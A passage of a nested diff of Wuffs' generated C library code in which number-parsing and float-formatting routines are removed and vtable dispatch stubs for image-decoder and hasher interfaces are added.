wuffs_base__private_implementation__high_prec_dec__assign(&h, man, neg); -- if (h.num_digits > 0) { -- wuffs_base__private_implementation__high_prec_dec__lshift( -- &h, exp2 - 52); // 52 mantissa bits. -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__hasher_bitvec256__vtable_name) { -+ const wuffs_base__hasher_bitvec256__func_ptrs* func_ptrs = -+ (const wuffs_base__hasher_bitvec256__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->update_bitvec256)(self, a_x); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; - } - -- // Handle the "%e" and "%f" formats. -- switch (options & (WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_ABSENT | -- WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_PRESENT)) { -- case WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_ABSENT: // The "%"f" format. -- if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { -- wuffs_base__private_implementation__high_prec_dec__round_just_enough( -- &h, exp2, man); -- int32_t p = ((int32_t)(h.num_digits)) - h.decimal_point; -- precision = ((uint32_t)(wuffs_base__i32__max(0, p))); -- } else { -- wuffs_base__private_implementation__high_prec_dec__round_nearest( -- &h, ((int32_t)precision) + h.decimal_point); -- } -- return wuffs_base__private_implementation__high_prec_dec__render_exponent_absent( -- dst, &h, precision, options); -+ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); -+} - -- case WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_PRESENT: // The "%e" format. -- if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { -- wuffs_base__private_implementation__high_prec_dec__round_just_enough( -- &h, exp2, man); -- precision = (h.num_digits > 0) ? (h.num_digits - 1) : 0; -- } else { -- wuffs_base__private_implementation__high_prec_dec__round_nearest( -- &h, ((int32_t)precision) + 1); -- } -- return wuffs_base__private_implementation__high_prec_dec__render_exponent_present( -- dst, &h, precision, options); -+// -------- -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__image_decoder__decode_frame( -+ wuffs_base__image_decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); - } - -- // We have the "%g" format and so precision means the number of significant -- // digits, not the number of digits after the decimal separator. Perform -- // rounding and determine whether to use "%e" or "%f". -- int32_t e_threshold = 0; -- if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { -- wuffs_base__private_implementation__high_prec_dec__round_just_enough( -- &h, exp2, man); -- precision = h.num_digits; -- e_threshold = 6; -- } else { -- if (precision == 0) { -- precision = 1; -- } -- wuffs_base__private_implementation__high_prec_dec__round_nearest( -- &h, ((int32_t)precision)); -- e_threshold = ((int32_t)precision); -- int32_t nd = ((int32_t)(h.num_digits)); -- if ((e_threshold > nd) && (nd >= h.decimal_point)) { -- e_threshold = nd; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->decode_frame)(self, a_dst, a_src, a_blend, a_workbuf, a_opts); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; - } - -- // Use the "%e" format if the exponent is large. -- int32_t e = h.decimal_point - 1; -- if ((e < -4) || (e_threshold <= e)) { -- uint32_t p = wuffs_base__u32__min(precision, h.num_digits); -- return wuffs_base__private_implementation__high_prec_dec__render_exponent_present( -- dst, &h, (p > 0) ? (p - 1) : 0, options); -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); -+} -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__image_decoder__decode_frame_config( -+ wuffs_base__image_decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); - } - -- // Use the "%f" format otherwise. -- int32_t p = ((int32_t)precision); -- if (p > h.decimal_point) { -- p = ((int32_t)(h.num_digits)); -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->decode_frame_config)(self, a_dst, a_src); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; - } -- precision = ((uint32_t)(wuffs_base__i32__max(0, p - h.decimal_point))); -- return wuffs_base__private_implementation__high_prec_dec__render_exponent_absent( -- dst, &h, precision, options); -+ -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); - } - --#endif // !defined(WUFFS_CONFIG__MODULES) || -- // defined(WUFFS_CONFIG__MODULE__BASE) || -- // defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__image_decoder__decode_image_config( -+ wuffs_base__image_decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -- defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->decode_image_config)(self, a_dst, a_src); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; -+ } - --// ---------------- Integer -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); -+} - --// wuffs_base__parse_number__foo_digits entries are 0x00 for invalid digits, --// and (0x80 | v) for valid digits, where v is the 4 bit value. -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_base__image_decoder__frame_dirty_rect( -+ const wuffs_base__image_decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } - --static const uint8_t wuffs_base__parse_number__decimal_digits[256] = { -- // 0 1 2 3 4 5 6 7 -- // 8 9 A B C D E F -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. -- 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x30 ..= 0x37. '0'-'7'. -- 0x88, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. '8'-'9'. -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->frame_dirty_rect)(self); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; -+ } - -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x40 ..= 0x47. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60 ..= 0x67. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. -+ return wuffs_base__utility__empty_rect_ie_u32(); -+} - -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 ..= 0x87. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 ..= 0x8F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x90 ..= 0x97. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 ..= 0x9F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 ..= 0xA7. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 ..= 0xAF. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 ..= 0xB7. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 ..= 0xBF. -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_base__image_decoder__get_quirk( -+ const wuffs_base__image_decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 ..= 0xC7. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 ..= 0xCF. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 ..= 0xD7. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 ..= 0xDF. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 ..= 0xE7. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 ..= 0xEF. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 ..= 0xF7. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF8 ..= 0xFF. -- // 0 1 2 3 4 5 6 7 -- // 8 9 A B C D E F --}; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->get_quirk)(self, a_key); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; -+ } - --static const uint8_t wuffs_base__parse_number__hexadecimal_digits[256] = { -- // 0 1 2 3 4 5 6 7 -- // 8 9 A B C D E F -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. -- 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, // 0x30 ..= 0x37. '0'-'7'. -- 0x88, 0x89, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. '8'-'9'. -+ return 0; -+} - -- 0x00, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x00, // 0x40 ..= 0x47. 'A'-'F'. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. -- 0x00, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x00, // 0x60 ..= 0x67. 'a'-'f'. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_base__image_decoder__num_animation_loops( -+ const wuffs_base__image_decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x80 ..= 0x87. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x88 ..= 0x8F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x90 ..= 0x97. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x98 ..= 0x9F. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA0 ..= 0xA7. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xA8 ..= 0xAF. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB0 ..= 0xB7. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xB8 ..= 0xBF. -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->num_animation_loops)(self); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; -+ } - -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC0 ..= 0xC7. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xC8 ..= 0xCF. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD0 ..= 0xD7. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xD8 ..= 0xDF. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE0 ..= 0xE7. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xE8 ..= 0xEF. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF0 ..= 0xF7. -- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0xF8 ..= 0xFF. -- // 0 1 2 3 4 5 6 7 -- // 8 9 A B C D E F --}; -+ return 0; -+} - --static const uint8_t wuffs_base__private_implementation__encode_base16[16] = { -- 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, // 0x00 ..= 0x07. -- 0x38, 0x39, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, // 0x08 ..= 0x0F. --}; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_base__image_decoder__num_decoded_frame_configs( -+ const wuffs_base__image_decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - --// -------- -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->num_decoded_frame_configs)(self); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; -+ } - --WUFFS_BASE__MAYBE_STATIC wuffs_base__result_i64 // --wuffs_base__parse_number_i64(wuffs_base__slice_u8 s, uint32_t options) { -- uint8_t* p = s.ptr; -- uint8_t* q = s.ptr + s.len; -+ return 0; -+} - -- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -- for (; (p < q) && (*p == '_'); p++) { -- } -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_base__image_decoder__num_decoded_frames( -+ const wuffs_base__image_decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; - } - -- bool negative = false; -- if (p >= q) { -- goto fail_bad_argument; -- } else if (*p == '-') { -- p++; -- negative = true; -- } else if (*p == '+') { -- p++; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->num_decoded_frames)(self); -+ } else if (v->vtable_name == NULL) { -+ break; -+ } -+ v++; - } - -- do { -- wuffs_base__result_u64 r = wuffs_base__parse_number_u64( -- wuffs_base__make_slice_u8(p, (size_t)(q - p)), options); -- if (r.status.repr != NULL) { -- wuffs_base__result_i64 ret; -- ret.status.repr = r.status.repr; -- ret.value = 0; -- return ret; -- } else if (negative) { -- if (r.value < 0x8000000000000000) { -- wuffs_base__result_i64 ret; -- ret.status.repr = NULL; -- ret.value = -(int64_t)(r.value); -- return ret; -- } else if (r.value == 0x8000000000000000) { -- wuffs_base__result_i64 ret; -- ret.status.repr = NULL; -- ret.value = INT64_MIN; -- return ret; -- } -- goto fail_out_of_bounds; -- } else if (r.value > 0x7FFFFFFFFFFFFFFF) { -- goto fail_out_of_bounds; -- } else { -- wuffs_base__result_i64 ret; -- ret.status.repr = NULL; -- ret.value = +(int64_t)(r.value); -- return ret; -- } -- } while (0); -- --fail_bad_argument: -- do { -- wuffs_base__result_i64 ret; -- ret.status.repr = wuffs_base__error__bad_argument; -- ret.value = 0; -- return ret; -- } while (0); -- --fail_out_of_bounds: -- do { -- wuffs_base__result_i64 ret; -- ret.status.repr = wuffs_base__error__out_of_bounds; -- ret.value = 0; -- return ret; -- } while (0); -+ return 0; - } - --WUFFS_BASE__MAYBE_STATIC wuffs_base__result_u64 // --wuffs_base__parse_number_u64(wuffs_base__slice_u8 s, uint32_t options) { -- uint8_t* p = s.ptr; -- uint8_t* q = s.ptr + s.len; -- -- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -- for (; (p < q) && (*p == '_'); p++) { -- } -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__image_decoder__restart_frame( -+ wuffs_base__image_decoder* self, -+ uint64_t a_index, -+ uint64_t a_io_position) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); - } - -- if (p >= q) { -- goto fail_bad_argument; -- -- } else if (*p == '0') { -- p++; -- if (p >= q) { -- goto ok_zero; -- } -- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -- if (*p == '_') { -- p++; -- for (; p < q; p++) { -- if (*p != '_') { -- if (options & -- WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES) { -- goto decimal; -- } -- goto fail_bad_argument; -- } -- } -- goto ok_zero; -- } -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->restart_frame)(self, a_index, a_io_position); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; -+ } - -- if ((*p == 'x') || (*p == 'X')) { -- p++; -- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -- for (; (p < q) && (*p == '_'); p++) { -- } -- } -- if (p < q) { -- goto hexadecimal; -- } -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); -+} - -- } else if ((*p == 'd') || (*p == 'D')) { -- p++; -- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -- for (; (p < q) && (*p == '_'); p++) { -- } -- } -- if (p < q) { -- goto decimal; -- } -- } -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__image_decoder__set_quirk( -+ wuffs_base__image_decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } - -- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES) { -- goto decimal; -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->set_quirk)(self, a_key, a_value); -+ } else if (v->vtable_name == NULL) { -+ break; - } -- goto fail_bad_argument; -+ v++; - } - --decimal: -- do { -- uint64_t v = wuffs_base__parse_number__decimal_digits[*p++]; -- if (v == 0) { -- goto fail_bad_argument; -- } -- v &= 0x0F; -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); -+} - -- // UINT64_MAX is 18446744073709551615, which is ((10 * max10) + max1). -- const uint64_t max10 = 1844674407370955161u; -- const uint8_t max1 = 5; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_base__image_decoder__set_report_metadata( -+ wuffs_base__image_decoder* self, -+ uint32_t a_fourcc, -+ bool a_report) { -+ if (!self) { -+ return wuffs_base__make_empty_struct(); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_empty_struct(); -+ } - -- for (; p < q; p++) { -- if ((*p == '_') && -- (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { -- continue; -- } -- uint8_t digit = wuffs_base__parse_number__decimal_digits[*p]; -- if (digit == 0) { -- goto fail_bad_argument; -- } -- digit &= 0x0F; -- if ((v > max10) || ((v == max10) && (digit > max1))) { -- goto fail_out_of_bounds; -- } -- v = (10 * v) + ((uint64_t)(digit)); -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->set_report_metadata)(self, a_fourcc, a_report); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; -+ } - -- wuffs_base__result_u64 ret; -- ret.status.repr = NULL; -- ret.value = v; -- return ret; -- } while (0); -+ return wuffs_base__make_empty_struct(); -+} - --hexadecimal: -- do { -- uint64_t v = wuffs_base__parse_number__hexadecimal_digits[*p++]; -- if (v == 0) { -- goto fail_bad_argument; -- } -- v &= 0x0F; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__image_decoder__tell_me_more( -+ wuffs_base__image_decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } - -- for (; p < q; p++) { -- if ((*p == '_') && -- (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { -- continue; -- } -- uint8_t digit = wuffs_base__parse_number__hexadecimal_digits[*p]; -- if (digit == 0) { -- goto fail_bad_argument; -- } -- digit &= 0x0F; -- if ((v >> 60) != 0) { -- goto fail_out_of_bounds; -- } -- v = (v << 4) | ((uint64_t)(digit)); -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 63; i++) { -+ if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { -+ const wuffs_base__image_decoder__func_ptrs* func_ptrs = -+ (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); -+ return (*func_ptrs->tell_me_more)(self, a_dst, a_minfo, a_src); -+ } else if (v->vtable_name == NULL) { -+ break; - } -+ v++; -+ } - -- wuffs_base__result_u64 ret; -- ret.status.repr = NULL; -- ret.value = v; -- return ret; -- } while (0); -+ return wuffs_base__make_status(wuffs_base__error__bad_vtable); -+} - --ok_zero: -- do { -- wuffs_base__result_u64 ret; -- ret.status.repr = NULL; -- ret.value = 0; -- return ret; -- } while (0); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_base__image_decoder__workbuf_len( -+ const wuffs_base__image_decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } - --fail_bad_argument: -- do { -- wuffs_base__result_u64 ret; -- ret.status.repr = wuffs_base__error__bad_argument; -- ret.value = 0; -- return ret; -- } while (0); -+ const wuffs_base__vtable* v = &self->private_impl.first_vtable; -+ int i; -+ for (i = 0; i < 